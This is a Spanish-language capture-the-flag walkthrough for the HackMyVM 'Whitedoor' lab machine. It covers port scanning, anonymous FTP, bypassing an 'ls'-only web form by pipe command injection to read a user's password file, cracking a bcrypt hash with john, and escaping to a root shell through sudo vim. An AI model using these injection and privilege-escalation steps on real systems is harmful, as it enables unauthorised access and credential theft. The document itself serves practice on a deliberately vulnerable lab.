Whitedoor HackMyVM (Easy - Linux)

Escaneo de puertos

nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn <IP>
nmap -sCV -p<PORTS> <IP>

Info:

Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-15 07:48 EDT
Nmap scan report for 192.168.5.39
Host is up (0.00085s latency).

PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r--    1 0        0              13 Nov 16  2023 README.txt
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ::ffff:192.168.5.4
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 2
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u1 (protocol 2.0)
| ssh-hostkey: 
|   256 3d:85:a2:89:a9:c5:45:d0:1f:ed:3f:45:87:9d:71:a6 (ECDSA)
|_  256 07:e8:c5:28:5e:84:a7:b6:bb:d5:1d:2f:d8:92:6b:a6 (ED25519)
80/tcp open  http    Apache httpd 2.4.57 ((Debian))
|_http-title: Home
|_http-server-header: Apache/2.4.57 (Debian)
MAC Address: 08:00:27:CE:C3:05 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.93 seconds

Veremos que hay varios puertos entre ellos, el puerto 80 y el FTP que por lo que vemos se puede conectar de forma anonima, por lo que vamos a probar a leer ese archivo que nos esta detectando a ver que contiene.

ftp anonymous@<IP>

Dejamos la contraseña vacia y veremos que estamos dentro, vamos a descargarnos el archivo .txt.

get README.txt

Ahora si lo leemos veremos lo siguiente:

¡Good luck!

Nada interesante, por lo que vamos a investigar el puerto 80, que si entramos veremos que esta alojando una pagina web en la que tiene un cuadro de texto para meter palabras o texto, pero si metemos cualquier palabra nos pondra lo siguiente:

Permission denied. Only the 'ls' command is allowed.

Vamos a probar a meter el ls a ver que pasa:

blackdoor.webp
blackindex.php
index.php
whitedoor.jpg

Veremos que te lista cosas interesantes, pero vamos a probar a ver que esta haciendo la peticion por dentro con BurpSuite, abriremos BurpSuite capturaremos la peticion del ls y vamos a investigar como responde, etc...

Escalate user whiteshell

Pero no veremos nada interesante, vamos a pronar a intentar concatenar comandos con un pipeline (|), a ver si nos permite ejecutar comandos que no sean solo el ls.

ls | whoami

Info:

www-data

Vemos que efectivamente esta funcionando, por lo que vamos a investigar realizando este bypass de restriccion de comandos.

Indiagando un poco en el sistema, veremos el siguiente archivo ejecutando lo siguiente:

ls | ls -la /home/whiteshell/Desktop

Info:

total 12
drwxr-xr-x 2 whiteshell whiteshell 4096 Nov 16  2023 .
drwxr-xr-x 9 whiteshell whiteshell 4096 Nov 17  2023 ..
-r--r--r-- 1 whiteshell whiteshell   56 Nov 16  2023 .my_secret_password.txt

Vamos a ver que contiene con este otro comando.

ls | cat /home/whiteshell/Desktop/.my_secret_password.txt

Info:

whiteshell:VkdneGMwbHpWR2d6VURSelUzZFBja1JpYkdGak5Rbz0K

Vemos lo que parece unas credenciales, pero la contraseña esta codificada en Base64, por lo que vamos a intentar decodificarla de esta forma.

echo "VkdneGMwbHpWR2d6VURSelUzZFBja1JpYkdGak5Rbz0K" | echo "VGgxc0lzVGgzUDRzU3dPckRibGFjNQo=" | base64 -d

Info:

Th1sIsTh3P4sSwOrDblac5

SSH

Veremos que hemos obtenido la contraseña original, por lo que vamos a probarlo mediante el SSH de esta forma.

ssh whiteshell@<IP>

Metemos como contraseña Th1sIsTh3P4sSwOrDblac5 y veremos que estaremos dentro.

Escalate user Gonzalo

Si nos vamos a la /home del usuario Gonzalo veremos que en la carpeta Desktop/ esta el mismo archivo que nosotros teniamos en nuestra carpeta de whiteshell, pero si lo leemos veremos lo siguiente:

cat /home/Gonzalo/.my_secret_hash

Info:

$2y$10$CqtC7h0oOG5sir4oUFxkGuKzS561UFos6F7hL31Waj/Y48ZlAbQF6

Por lo que vemos es el hash de la contraseña del usuario gonzalo por lo que vamos a intentar crackearla con john.

john --format=crypt --wordlist=<WORDLIST> hash

Info:

Using default input encoding: UTF-8
Loaded 1 password hash (crypt, generic crypt(3) [?/64])
Cost 1 (algorithm [1:descrypt 2:md5crypt 3:sunmd5 4:bcrypt 5:sha256crypt 6:sha512crypt]) is 0 for all loaded hashes
Cost 2 (algorithm specific iterations) is 1 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
qwertyuiop       (?)     
1g 0:00:00:04 DONE (2025-06-15 08:04) 0.2457g/s 94.34p/s 94.34c/s 94.34C/s adidas..michael1
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Veremos que ha funcionado y habremos obtenido la contraseña del usuario gonzalo vamos a probarla con dicho usuario.

su Gonzalo

Metemos como contraseña qwertyuiop y veremos que estamos dentro, por lo que leeremos la flag del usuario.

user.txt

Y0uG3tTh3Us3RFl4g!!

Escalate Privileges

Si hacemos sudo -l veremos lo siguiente:

Matching Defaults entries for Gonzalo on whitedoor:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User Gonzalo may run the following commands on whitedoor:
    (ALL : ALL) NOPASSWD: /usr/bin/vim

Veremos que podemos ejecutar el binario vim como el usuario root, por lo que podremos hacer lo siguiente:

sudo vim -c ':!/bin/bash'

Info:

root@whitedoor:/home/Gonzalo# whoami
root

Con esto veremos que ya seremos root, por lo que leeremos la flag de root.

root.txt

Y0uAr3Th3B3sTy0Ug3Tr0oT!!

Last updated